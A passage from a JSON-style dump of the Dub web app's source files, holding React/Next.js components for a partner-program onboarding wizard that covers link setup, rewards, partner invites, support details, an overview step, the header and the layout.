domain and destination URL for your referral links\n          </p>\n        </div>\n\n        <ProgramLinkConfiguration\n          domain={domain}\n          url={url}\n          onDomainChange={(domain) =>\n            setValue(\"domain\", domain, { shouldDirty: true })\n          }\n          onUrlChange={(url) => setValue(\"url\", url, { shouldDirty: true })}\n        />\n      </div>\n\n      <Button\n        text=\"Continue\"\n        className=\"w-full\"\n        loading={isSubmitting || isPending || hasSubmitted}\n        disabled={buttonDisabled}\n        type=\"submit\"\n      />\n    </form>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/(new-program)/[slug]/program/new/overview/page-client.tsx",
    "content": "\"use client\";\n\nimport { onboardProgramAction } from \"@/lib/actions/partners/onboard-program\";\nimport { getLinkStructureOptions } from \"@/lib/partners/get-link-structure-options\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ProgramData, RewardProps } from \"@/lib/types\";\nimport { ProgramRewardDescription } from \"@/ui/partners/program-reward-description\";\nimport { RewardStructure } from \"@dub/prisma/client\";\nimport { Button } from \"@dub/ui\";\nimport { Pencil } from \"lucide-react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport Link from \"next/link\";\nimport { useMemo } from \"react\";\nimport { useFormContext } from \"react-hook-form\";\nimport { toast } from \"sonner\";\n\nexport function PageClient() {\n  const {\n    getValues,\n    formState: { isSubmitting, isSubmitSuccessful },\n  } = useFormContext<ProgramData>();\n\n  const { id: workspaceId, slug: workspaceSlug } = useWorkspace();\n\n  const data = getValues();\n\n  const { executeAsync, isPending } = useAction(onboardProgramAction, {\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  const onClick = async () => {\n    if (!workspaceId) return;\n\n    await executeAsync({\n      workspaceId,\n      step: \"create-program\",\n    });\n  };\n\n  const isValid = useMemo(() => {\n    const { name, url, domain, logo, type, amountInCents, amountInPercentage } =\n      data;\n\n    const hasAmount =\n      type === \"flat\" ? amountInCents != null : amountInPercentage != null;\n\n    if (!name || !url || !domain || !logo || !type || !hasAmount) {\n      return false;\n    }\n\n    return true;\n  }, [data]);\n\n  const reward: Omit<RewardProps, \"id\" | \"updatedAt\"> = {\n    type: (data.type ?? \"flat\") as RewardStructure,\n    amountInCents: data.amountInCents != null ? data.amountInCents * 100 : null,\n    amountInPercentage: data.amountInPercentage,\n    maxDuration: data.maxDuration ?? 0,\n    event: data.defaultRewardType,\n  };\n\n  const SECTIONS = [\n    {\n      title: \"Reward\",\n      content: reward ? <ProgramRewardDescription reward={reward} /> : null,\n      href: `/${workspaceSlug}/program/new/rewards`,\n    },\n    {\n      title: \"Referral link type\",\n      content: getLinkStructureOptions({\n        domain: data.domain,\n        url: data.url,\n      }).find(({ id }) => id === data.linkStructure)?.example,\n      href: `/${workspaceSlug}/program/new`,\n    },\n    {\n      title: \"Website URL\",\n      content: data.url,\n      href: `/${workspaceSlug}/program/new`,\n    },\n  ] as const;\n\n  return (\n    <div className=\"space-y-6\">\n      {SECTIONS.map(({ title, content, href }) => (\n        <div\n          key={title}\n          className=\"rounded-lg border border-neutral-200 bg-neutral-50 p-6\"\n        >\n          <div className=\"flex items-center justify-between\">\n            <div className=\"text-sm font-semibold text-neutral-800\">\n              {title}\n            </div>\n            <Link href={href}>\n              <Button\n                text={<Pencil className=\"size-4\" />}\n                variant=\"outline\"\n                className=\"h-8 w-8 shrink-0 p-0\"\n              />\n            </Link>\n          </div>\n          <div className=\"mt-1.5 text-sm font-normal text-neutral-700\">\n            {content}\n          </div>\n        </div>\n      ))}\n\n      <Button\n        text=\"Create program\"\n        className=\"mt-6 w-full\"\n        loading={isPending || isSubmitting || isSubmitSuccessful}\n        type=\"button\"\n        onClick={onClick}\n        disabled={!isValid}\n        disabledTooltip={\n          !isValid\n            ? \"Please fill all the required fields to create a program.\"\n            : undefined\n        }\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/(new-program)/[slug]/program/new/overview/page.tsx",
    "content": "import { StepPage } from \"../step-page\";\nimport { PageClient } from \"./page-client\";\n\nexport default async function Page() {\n  return (\n    <StepPage title=\"Overview\">\n      <PageClient />\n    </StepPage>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/(new-program)/[slug]/program/new/page.tsx",
    "content": "import { Form } from \"./form\";\nimport { StepPage } from \"./step-page\";\n\nexport default async function Page() {\n  return (\n    <StepPage title=\"Getting started\">\n      <Form />\n    </StepPage>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/(new-program)/[slug]/program/new/partners/form.tsx",
    "content": "\"use client\";\n\nimport { onboardProgramAction } from \"@/lib/actions/partners/onboard-program\";\nimport { PROGRAM_ONBOARDING_PARTNERS_LIMIT } from \"@/lib/constants/program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ProgramData } from \"@/lib/types\";\nimport { Button, Input } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { Plus, Trash } from \"lucide-react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useRouter } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { useFieldArray, useFormContext } from \"react-hook-form\";\nimport { toast } from \"sonner\";\n\nexport function Form() {\n  const router = useRouter();\n  const [hasSubmitted, setHasSubmitted] = useState(false);\n  const {\n    id: workspaceId,\n    slug: workspaceSlug,\n    mutate,\n    loading,\n  } = useWorkspace();\n\n  const {\n    register,\n    control,\n    handleSubmit,\n    watch,\n    formState: { isSubmitting },\n  } = useFormContext<ProgramData>();\n\n  const { fields, append, remove } = useFieldArray({\n    name: \"partners\",\n    control,\n  });\n\n  const { executeAsync, isPending } = useAction(onboardProgramAction, {\n    onSuccess: () => {\n      router.push(`/${workspaceSlug}/program/new/support`);\n      mutate();\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  const onSubmit = async (data: ProgramData) => {\n    if (!workspaceId) return;\n    setHasSubmitted(true);\n    await executeAsync({\n      ...data,\n      // remove empty emails\n      partners:\n        data.partners?.filter((partner) => partner.email.trim()) || null,\n      workspaceId,\n      step: \"invite-partners\",\n    });\n  };\n\n  const buttonDisabled = isSubmitting || isPending || loading || hasSubmitted;\n\n  return (\n    <form onSubmit={handleSubmit(onSubmit)} className=\"grid gap-2\">\n      <div className=\"flex flex-col gap-4\">\n        {fields.map((field, index) => (\n          <div key={field.id} className=\"flex flex-col gap-1\">\n            <span className=\"mb-1.5 block text-sm font-medium text-neutral-800\">\n              Email\n            </span>\n            <div className=\"relative w-full\">\n              <Input\n                {...register(`partners.${index}.email`)}\n                type=\"email\"\n                placeholder=\"panic@thedis.co\"\n                className={cn(\"max-w-none\", fields.length > 1 && \"mr-12\")}\n              />\n              {fields.length > 1 && (\n                <Button\n                  type=\"button\"\n                  variant=\"secondary\"\n                  icon={<Trash className=\"size-3.5 text-neutral-600\" />}\n                  onClick={() => remove(index)}\n                  aria-label=\"Remove partner\"\n                  className=\"absolute right-2 top-1/2 h-auto w-auto -translate-y-1/2 p-2.5\"\n                />\n              )}\n            </div>\n          </div>\n        ))}\n\n        <div className=\"mb-4\">\n          <Button\n            text=\"Add partner\"\n            variant=\"secondary\"\n            icon={<Plus className=\"size-4\" />}\n            className=\"w-fit\"\n            onClick={() => {\n              if (fields.length < PROGRAM_ONBOARDING_PARTNERS_LIMIT) {\n                append({ email: \"\" });\n              }\n            }}\n            disabled={fields.length >= PROGRAM_ONBOARDING_PARTNERS_LIMIT}\n          />\n        </div>\n\n        {fields.length >= PROGRAM_ONBOARDING_PARTNERS_LIMIT && (\n          <p className=\"text-sm text-neutral-600\">\n            You can only invite up to {PROGRAM_ONBOARDING_PARTNERS_LIMIT}{\" \"}\n            partners.\n          </p>\n        )}\n      </div>\n\n      <Button\n        text=\"Continue\"\n        className=\"mt-6 w-full\"\n        loading={isSubmitting || isPending || hasSubmitted}\n        disabled={buttonDisabled}\n        type=\"submit\"\n      />\n    </form>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/(new-program)/[slug]/program/new/partners/page.tsx",
    "content": "import { StepPage } from \"../step-page\";\nimport { Form } from \"./form\";\n\nexport default async function Page() {\n  return (\n    <StepPage title=\"Invite partners\">\n      <Form />\n    </StepPage>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/(new-program)/[slug]/program/new/rewards/form.tsx",
    "content": "\"use client\";\n\nimport { onboardProgramAction } from \"@/lib/actions/partners/onboard-program\";\nimport { handleMoneyInputChange, handleMoneyKeyDown } from \"@/lib/form-utils\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ProgramData } from \"@/lib/types\";\nimport { RECURRING_MAX_DURATIONS } from \"@/lib/zod/schemas/misc\";\nimport { COMMISSION_TYPES } from \"@/lib/zod/schemas/rewards\";\nimport { Button, CircleCheckFill } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useRouter } from \"next/navigation\";\nimport { useEffect, useState } from \"react\";\nimport { useFormContext } from \"react-hook-form\";\nimport { toast } from \"sonner\";\n\nconst DEFAULT_REWARD_TYPES = [\n  {\n    key: \"sale\",\n    label: \"Sale\",\n    description: \"When revenue is generated\",\n    mostCommon: true,\n  },\n  {\n    key: \"lead\",\n    label: \"Lead\",\n    description: \"For sign ups and demos\",\n    mostCommon: false,\n  },\n] as const;\n\nconst COMMISSION_STRUCTURE_DESCRIPTIONS: Record<string, string> = {\n  \"one-off\": \"For referrals and fixed payouts\",\n  recurring: \"For ongoing revenue share\",\n};\n\nconst PAYOUT_MODELS = [\n  {\n    key: \"percentage\",\n    label: \"Percentage\",\n    description: \"Share of the revenue\",\n    mostCommon: true,\n  },\n  {\n    key: \"flat\",\n    label: \"Flat\",\n    description: \"Fixed amount per conversion\",\n    mostCommon: false,\n  },\n] as const;\n\nexport function Form() {\n  const router = useRouter();\n  const [hasSubmitted, setHasSubmitted] = useState(false);\n  const { id: workspaceId, slug: workspaceSlug, mutate } = useWorkspace();\n\n  const {\n    register,\n    handleSubmit,\n    watch,\n    setValue,\n    formState: { isSubmitting },\n  } = useFormContext<ProgramData>();\n\n  const [type, defaultRewardType, maxDuration] = watch([\n    \"type\",\n    \"defaultRewardType\",\n    \"maxDuration\",\n  ]);\n\n  const [commissionStructure, setCommissionStructure] = useState<\n    \"one-off\" | \"recurring\"\n  >(\"recurring\");\n\n  useEffect(() => {\n    setCommissionStructure(maxDuration === 0 ? \"one-off\" : \"recurring\");\n  }, [maxDuration]);\n\n  const { executeAsync, isPending } = useAction(onboardProgramAction, {\n    onSuccess: () => {\n      router.push(`/${workspaceSlug}/program/new/partners`);\n      mutate();\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  const onSubmit = async (data: ProgramData) => {\n    if (!workspaceId) {\n      return;\n    }\n\n    setHasSubmitted(true);\n\n    await executeAsync({\n      ...data,\n      amountInCents:\n        data.amountInCents != null && data.type === \"flat\"\n          ? Math.round(data.amountInCents * 100)\n          : null,\n      amountInPercentage:\n        data.amountInPercentage != null && data.type === \"percentage\"\n          ? data.amountInPercentage\n          : null,\n      workspaceId,\n      step: \"configure-reward\",\n    });\n  };\n\n  return (\n    <form onSubmit={handleSubmit(onSubmit)} className=\"space-y-10\">\n      <div className=\"flex flex-col gap-10\">\n        <div className=\"grid grid-cols-1 gap-6\">\n          <div>\n            <h2 className=\"text-base font-medium text-neutral-900\">\n              Reward type\n            </h2>\n            <p className=\"mt-1 text-sm font-normal text-neutral-600\">\n              Set the default reward type for all your affiliates\n            </p>\n          </div>\n\n          <div className=\"grid grid-cols-1 gap-3 lg:grid-cols-2\">\n            {DEFAULT_REWARD_TYPES.map(\n              ({ key, label, description, mostCommon }) => {\n                const isSelected = key === defaultRewardType;\n\n                return (\n                  <div\n                    key={key}\n                    className={cn(\n                      \"flex flex-col items-center\",\n                      mostCommon &&\n                        \"rounded-md border border-neutral-200 bg-neutral-100\",\n                    )}\n                  >\n                    <label\n                      className={cn(\n                        \"relative flex w-full cursor-pointer items-start gap-0.5 rounded-md border border-neutral-200 bg-white p-3 text-neutral-600 hover:bg-neutral-50\",\n                        \"transition-all duration-150\",\n                        mostCommon && \"border-transparent shadow-sm\",\n                        isSelected &&\n                          \"border-black bg-neutral-50 text-neutral-900 ring-1 ring-black\",\n                      )}\n                    >\n                      <input\n                        type=\"radio\"\n                        value={key}\n                        className=\"hidden\"\n                        checked={isSelected}\n                        onChange={() => {\n                          setValue(\"defaultRewardType\", key, {\n                            shouldDirty: true,\n                          });\n\n                          if (key === \"sale\") {\n                            setValue(\"type\", \"percentage\", {\n                              shouldDirty: true,\n                            });\n                          }\n\n                          if (key === \"lead\") {\n                            setValue(\"type\", \"flat\", { shouldDirty: true });\n                            setValue(\"maxDuration\", 0, { shouldDirty: true });\n                          }\n                        }}\n                      />\n                      <div className=\"flex grow flex-col text-sm\">\n                        <span className=\"text-sm font-semibold text-neutral-900\">\n                          {label}\n                        </span>\n                        <span className=\"text-sm font-normal text-neutral-600\">\n                          {description}\n                        </span>\n                      </div>\n                      <CircleCheckFill\n                        className={cn(\n                          \"-mr-px -mt-px flex size-4 scale-75 items-center justify-center rounded-full opacity-0 transition-[transform,opacity] duration-150\",\n                          isSelected && \"scale-100 opacity-100\",\n                        )}\n                      />\n                    </label>\n                    {mostCommon && (\n                      <span className=\"py-0.5 text-xs font-medium text-neutral-500\">\n                        Most common\n                      </span>\n                    )}\n                  </div>\n                );\n              },\n            )}\n          </div>\n        </div>\n\n        {defaultRewardType === \"sale\" && (\n          <div className=\"grid grid-cols-1 gap-6\">\n            <div>\n              <h2 className=\"text-base font-medium text-neutral-900\">\n                Commission structure\n              </h2>\n              <p className=\"mt-1 text-sm font-normal text-neutral-600\">\n                Set how the affiliate will get rewarded\n              </p>\n            </div>\n\n            <div className=\"grid grid-cols-1 gap-3 lg:grid-cols-2\">\n              {COMMISSION_TYPES.map(({ value, label }) => {\n                const isSelected = value === commissionStructure;\n\n                return (\n                  <div\n                    key={value}\n                    className={cn(\n                      \"flex flex-col items-center\",\n                      value === \"recurring\" &&\n                        \"rounded-md border border-neutral-200 bg-neutral-100\",\n                    )}\n                  >\n                    <label\n                      className={cn(\n                        \"relative flex w-full cursor-pointer items-start gap-0.5 rounded-md border border-neutral-200 bg-white p-3 text-neutral-600 hover:bg-neutral-50\",\n                        \"transition-all duration-150\",\n                        value === \"recurring\" && \"border-transparent shadow-sm\",\n                        isSelected &&\n                          \"border-black bg-neutral-50 text-neutral-900 ring-1 ring-black\",\n                      )}\n                    >\n                      <input\n                        type=\"radio\"\n                        value={value}\n                        className=\"hidden\"\n                        checked={isSelected}\n                        onChange={() => {\n                          if (value === \"one-off\") {\n                            setCommissionStructure(\"one-off\");\n                            setValue(\"maxDuration\", 0, {\n                              shouldValidate: true,\n                            });\n                          }\n\n                          if (value === \"recurring\") {\n                            setCommissionStructure(\"recurring\");\n                            setValue(\"maxDuration\", null, {\n                              shouldValidate: true,\n                            });\n                          }\n                        }}\n                      />\n                      <div className=\"flex grow flex-col text-sm\">\n                        <span className=\"text-sm font-semibold text-neutral-900\">\n                          {label}\n                        </span>\n                        <span className=\"text-sm font-normal text-neutral-600\">\n                          {COMMISSION_STRUCTURE_DESCRIPTIONS[value]}\n                        </span>\n                      </div>\n                      <CircleCheckFill\n                        className={cn(\n                          \"-mr-px -mt-px flex size-4 scale-75 items-center justify-center rounded-full opacity-0 transition-[transform,opacity] duration-150\",\n                          isSelected && \"scale-100 opacity-100\",\n                        )}\n                      />\n                    </label>\n                    {value === \"recurring\" && (\n                      <span className=\"py-0.5 text-xs font-medium text-neutral-500\">\n                        Most common\n                      </span>\n                    )}\n                  </div>\n                );\n              })}\n            </div>\n\n            {commissionStructure === \"recurring\" && (\n              <div>\n                <label className=\"text-sm font-medium text-neutral-800\">\n                  Duration\n                </label>\n                <select\n                  {...register(\"maxDuration\", {\n                    setValueAs: (v) => {\n                      if (v === \"\" || v === null) {\n                        return null;\n                      }\n\n                      return parseInt(v);\n                    },\n                  })}\n                  className=\"mt-2 block w-full rounded-md border border-neutral-300 bg-white py-2 pl-3 pr-10 text-sm text-neutral-900 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500\"\n                >\n                  <option value=\"\">Lifetime</option>\n                  {RECURRING_MAX_DURATIONS.filter(\n                    (v) => v !== 0 && v !== 1, // filter out one-time and 1-month intervals (we only use 1-month for discounts)\n                  ).map((duration) => (\n                    <option key={duration} value={duration}>\n                      {duration} months\n                    </option>\n                  ))}\n                </select>\n              </div>\n            )}\n          </div>\n        )}\n\n        <div className=\"grid grid-cols-1 gap-6\">\n          <div>\n            <h2 className=\"text-base font-medium text-neutral-900\">\n              Reward amount\n            </h2>\n            <p className=\"mt-1 text-sm font-normal text-neutral-600\">\n              Set how much the affiliate will get rewarded\n            </p>\n          </div>\n\n          {defaultRewardType === \"sale\" && (\n            <div className=\"grid grid-cols-1 gap-3 lg:grid-cols-2\">\n              {PAYOUT_MODELS.map(({ key, label, description, mostCommon }) => {\n                const isSelected = key === type;\n\n                return (\n                  <div\n                    key={key}\n                    className={cn(\n                      \"flex flex-col items-center\",\n                      mostCommon &&\n                        \"rounded-md border border-neutral-200 bg-neutral-100\",\n                    )}\n                  >\n                    <label\n                      className={cn(\n                        \"relative flex w-full cursor-pointer items-start gap-0.5 rounded-md border border-neutral-200 bg-white p-3 text-neutral-600 hover:bg-neutral-50\",\n                        \"transition-all duration-150\",\n                        mostCommon && \"border-transparent shadow-sm\",\n                        isSelected &&\n                          \"border-black bg-neutral-50 text-neutral-900 ring-1 ring-black\",\n                      )}\n                    >\n                      <input\n                        type=\"radio\"\n                        value={key}\n                        className=\"hidden\"\n                        checked={isSelected}\n                        onChange={() =>\n                          setValue(\"type\", key, { shouldDirty: true })\n                        }\n                      />\n                      <div className=\"flex grow flex-col text-sm\">\n                        <span className=\"text-sm font-semibold text-neutral-900\">\n                          {label}\n                        </span>\n                        <span className=\"text-sm font-normal text-neutral-600\">\n                          {description}\n                        </span>\n                      </div>\n                      <CircleCheckFill\n                        className={cn(\n                          \"-mr-px -mt-px flex size-4 scale-75 items-center justify-center rounded-full opacity-0 transition-[transform,opacity] duration-150\",\n                          isSelected && \"scale-100 opacity-100\",\n                        )}\n                      />\n                    </label>\n                    {mostCommon && (\n                      <span className=\"py-0.5 text-xs font-medium text-neutral-500\">\n                        Most common\n                      </span>\n                    )}\n                  </div>\n                );\n              })}\n            </div>\n          )}\n\n          <div>\n            <label className=\"text-sm font-medium text-neutral-800\">\n              {type === \"percentage\" ? \"Percentage\" : \"Amount\"} per{\" \"}\n              {defaultRewardType}\n            </label>\n            <div className=\"relative mt-2 rounded-md shadow-sm\">\n              <span className=\"absolute inset-y-0 left-0 flex items-center pl-3 text-sm text-neutral-400\">\n                {type === \"flat\" && \"$\"}\n              </span>\n              <input\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  type === \"flat\" ? \"pl-6 pr-12\" : \"pr-7\",\n                )}\n                {...register(\n                  type === \"flat\" ? \"amountInCents\" : \"amountInPercentage\",\n                  {\n                    required: true,\n                    valueAsNumber: true,\n                    min: 0,\n                    max: type === \"flat\" ? 1000 : 100,\n                    onChange: handleMoneyInputChange,\n                  },\n                )}\n                onKeyDown={handleMoneyKeyDown}\n              />\n              <span className=\"absolute inset-y-0 right-0 flex items-center pr-3 text-sm text-neutral-400\">\n                {type === \"flat\" ? \"USD\" : \"%\"}\n              </span>\n            </div>\n          </div>\n        </div>\n      </div>\n\n      <Button\n        text=\"Continue\"\n        className=\"w-full\"\n        loading={isSubmitting || isPending}\n        disabled={hasSubmitted}\n        type=\"submit\"\n      />\n    </form>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/(new-program)/[slug]/program/new/rewards/page.tsx",
    "content": "import { StepPage } from \"../step-page\";\nimport { Form } from \"./form\";\n\nexport default async function ProgramOnboardingRewardsPage() {\n  return (\n    <StepPage title=\"Create default reward\">\n      <Form />\n    </StepPage>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/(new-program)/[slug]/program/new/step-page.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { PropsWithChildren, ReactNode } from \"react\";\n\nexport function StepPage({\n  children,\n  title,\n  className,\n}: PropsWithChildren<{\n  title: ReactNode;\n  className?: string;\n}>) {\n  return (\n    <div\n      className={cn(\n        \"mx-auto flex w-full max-w-xl flex-col\",\n        \"animate-slide-up-fade [--offset:10px] [animation-duration:1s] [animation-fill-mode:both]\",\n        className,\n      )}\n    >\n      <h1 className=\"mt-4 text-2xl font-medium leading-tight text-neutral-900\">\n        {title}\n      </h1>\n      <div className=\"mb-8 mt-8 w-full\">{children}</div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/(new-program)/[slug]/program/new/support/form.tsx",
    "content": "\"use client\";\n\nimport { onboardProgramAction } from \"@/lib/actions/partners/onboard-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ProgramData } from \"@/lib/types\";\nimport { Button, Input, useMediaQuery } from \"@dub/ui\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useRouter } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { useFormContext } from \"react-hook-form\";\nimport { toast } from \"sonner\";\n\nexport function Form() {\n  const router = useRouter();\n  const { isMobile } = useMediaQuery();\n  const [hasSubmitted, setHasSubmitted] = useState(false);\n  const { id: workspaceId, slug: workspaceSlug, mutate } = useWorkspace();\n\n  const {\n    register,\n    handleSubmit,\n    watch,\n    formState: { isSubmitting },\n  } = useFormContext<ProgramData>();\n\n  const { executeAsync, isPending } = useAction(onboardProgramAction, {\n    onSuccess: () => {\n      router.push(`/${workspaceSlug}/program/new/overview`);\n      mutate();\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  const onSubmit = async (data: ProgramData) => {\n    if (!workspaceId) {\n      return;\n    }\n\n    setHasSubmitted(true);\n\n    await executeAsync({\n      ...data,\n      termsUrl: data.termsUrl || null,\n      helpUrl: data.helpUrl || null,\n      workspaceId,\n      step: \"help-and-support\",\n    });\n  };\n\n  const [supportEmail] = watch([\"supportEmail\"]);\n\n  return (\n    <form onSubmit={handleSubmit(onSubmit)} className=\"space-y-8\">\n      <p className=\"text-sm text-neutral-600\">\n        These will be displayed to partners on their dashboard. You can add them\n        later, but you have to provide your support email address before your\n        first partner joins.\n      </p>\n\n      <div className=\"space-y-6\">\n        <div>\n          <label className=\"block text-sm font-medium text-neutral-800\">\n            Support email <span className=\"text-red-800\">*</span>\n          </label>\n          <Input\n            type=\"email\"\n            {...register(\"supportEmail\", { required: true })}\n            placeholder=\"support@dub.co\"\n            autoFocus={!isMobile}\n            className=\"mt-2 w-full max-w-none\"\n          />\n        </div>\n\n        <div>\n          <label className=\"block text-sm font-medium text-neutral-800\">\n            Help center URL\n          </label>\n          <Input\n            type=\"url\"\n            {...register(\"helpUrl\")}\n            placeholder=\"https://dub.co/help\"\n            className=\"mt-2 w-full max-w-none\"\n          />\n        </div>\n\n        <div>\n          <label className=\"block text-sm font-medium text-neutral-800\">\n            Terms of Service URL\n          </label>\n          <Input\n            type=\"url\"\n            {...register(\"termsUrl\")}\n            placeholder=\"https://dub.co/legal/affiliates\"\n            className=\"mt-2 w-full max-w-none\"\n          />\n        </div>\n      </div>\n\n      <Button\n        text=\"Continue\"\n        className=\"w-full\"\n        loading={isSubmitting || isPending || hasSubmitted}\n        disabled={!supportEmail}\n        type=\"submit\"\n      />\n    </form>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/(new-program)/[slug]/program/new/support/page.tsx",
    "content": "import { StepPage } from \"../step-page\";\nimport { Form } from \"./form\";\n\nexport default function Page() {\n  return (\n    <StepPage title=\"Help and Support\">\n      <Form />\n    </StepPage>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/(new-program)/header.tsx",
    "content": "\"use client\";\n\nimport { onboardProgramAction } from \"@/lib/actions/partners/onboard-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { PROGRAM_ONBOARDING_STEPS } from \"@/lib/zod/schemas/program-onboarding\";\nimport { Button, Wordmark, useMediaQuery } from \"@dub/ui\";\nimport { Menu } from \"lucide-react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport Link from \"next/link\";\nimport { usePathname } from \"next/navigation\";\nimport { useEffect } from \"react\";\nimport { useFormContext } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { useSidebar } from \"./sidebar-context\";\n\nexport function ProgramOnboardingHeader() {\n  const pathname = usePathname();\n  const { isMobile } = useMediaQuery();\n  const { getValues } = useFormContext();\n  const { isOpen, setIsOpen } = useSidebar();\n  const { id: workspaceId, slug: workspaceSlug } = useWorkspace();\n\n  useEffect(() => {\n    document.body.style.overflow = isOpen && isMobile ? \"hidden\" : \"auto\";\n  }, [isOpen, isMobile]);\n\n  const { executeAsync, isPending } = useAction(onboardProgramAction, {\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  const saveAndExit = async () => {\n    if (!workspaceId) return;\n\n    let data = getValues();\n\n    data = {\n      ...data,\n      url: data.url === \"\" ? null : data.url,\n      partners:\n        data?.partners?.filter(\n          (partner) => partner.email !== \"\" && partner.key !== \"\",\n        ) ?? null,\n    };\n\n    const currentPath = pathname.replace(`/${workspaceSlug}`, \"\");\n    const currentStep = PROGRAM_ONBOARDING_STEPS.find(\n      (s) => s.href === currentPath,\n    )?.step;\n\n    await executeAsync({\n      ...data,\n      workspaceId,\n      step: \"save-and-exit\",\n      currentStep,\n    });\n  };\n\n  return (\n    <header className=\"sticky top-0 z-30 flex h-14 items-center justify-between border-b border-neutral-200 bg-white px-4\">\n      <div className=\"flex items-center gap-5\">\n        <button\n          onClick={() => setIsOpen(true)}\n          className=\"rounded-md p-1 hover:bg-neutral-100 md:hidden\"\n        >\n          <Menu className=\"h-5 w-5 text-neutral-600\" />\n        </button>\n        <Link href={`/${workspaceSlug}`} className=\"flex items-center\">\n          <Wordmark className=\"h-7\" />\n        </Link>\n        <h1 className=\"hidden text-base font-semibold text-neutral-700 md:block\">\n          Create partner program\n        </h1>\n      </div>\n      <div className=\"flex items-center gap-2\">\n        <Link\n          href={`/${workspaceSlug}`}\n          className=\"group flex h-8 w-auto items-center justify-center gap-2 whitespace-nowrap rounded-md border border-transparent px-4 text-sm text-neutral-600 transition-all hover:bg-neutral-100\"\n        >\n          Cancel\n        </Link>\n\n        <Button\n          text=\"Save and exit\"\n          variant=\"secondary\"\n          className=\"h-8 w-auto\"\n          loading={isPending}\n          onClick={saveAndExit}\n        />\n      </div>\n    </header>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/(new-program)/layout.tsx",
    "content": "\"use client\";\n\nimport { ProgramOnboardingFormWrapper } from \"@/ui/partners/program-onboarding-form-wrapper\";\nimport { ProgramOnboardingHeader } from \"./header\";\nimport { SidebarProvider } from \"./sidebar-context\";\nimport { ProgramOnboardingSteps } from \"./steps\";\n\nexport default function Layout({ children }: { children: React.ReactNode }) {\n  return (\n    <SidebarProvider>\n      <div className=\"min-h-screen bg-white\">\n        <ProgramOnboardingFormWrapper>\n          <ProgramOnboardingHeader />\n          <div className=\"md:grid md:grid-cols-[240px_minmax(0,1fr)]\">\n            <ProgramOnboardingSteps />\n            <main className=\"px-4 py-6 md:px-8\">{children}</main>\n          </div>\n        </ProgramOnboardingFormWrapper>\n      </div>\n    </SidebarProvider>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/(new-program)/sidebar-context.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport LayoutLoader from \"@/ui/layout/layout-loader\";\nimport { redirect } from \"next/navigation\";\nimport { createContext, ReactNode, useContext, useState } from \"react\";\n\ninterface SidebarContextType {\n  isOpen: boolean;\n  setIsOpen: (isOpen: boolean) => void;\n}\n\nconst SidebarContext = createContext<SidebarContextType | undefined>(undefined);\n\nexport function SidebarProvider({ children }: { children: ReactNode }) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  const {\n    slug: workspaceSlug,\n    defaultProgramId,\n    loading: workspaceLoading,\n    error: workspaceError,\n  } = useWorkspace();\n\n  if (workspaceError && workspaceError.status === 404) {\n    redirect(\"/account/settings\");\n  } else if (workspaceLoading) {\n    return <LayoutLoader />;\n  }\n\n  if (defaultProgramId) {\n    redirect(`/${workspaceSlug}/program`);\n  }\n\n  return (\n    <SidebarContext.Provider value={{ isOpen, setIsOpen }}>\n      {children}\n    </SidebarContext.Provider>\n  );\n}\n\nexport function useSidebar() {\n  const context = useContext(SidebarContext);\n\n  if (context === undefined) {\n    throw new Error(\"useSidebar must be used within a SidebarProvider\");\n  }\n\n  return context;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/(new-program)/steps.tsx",
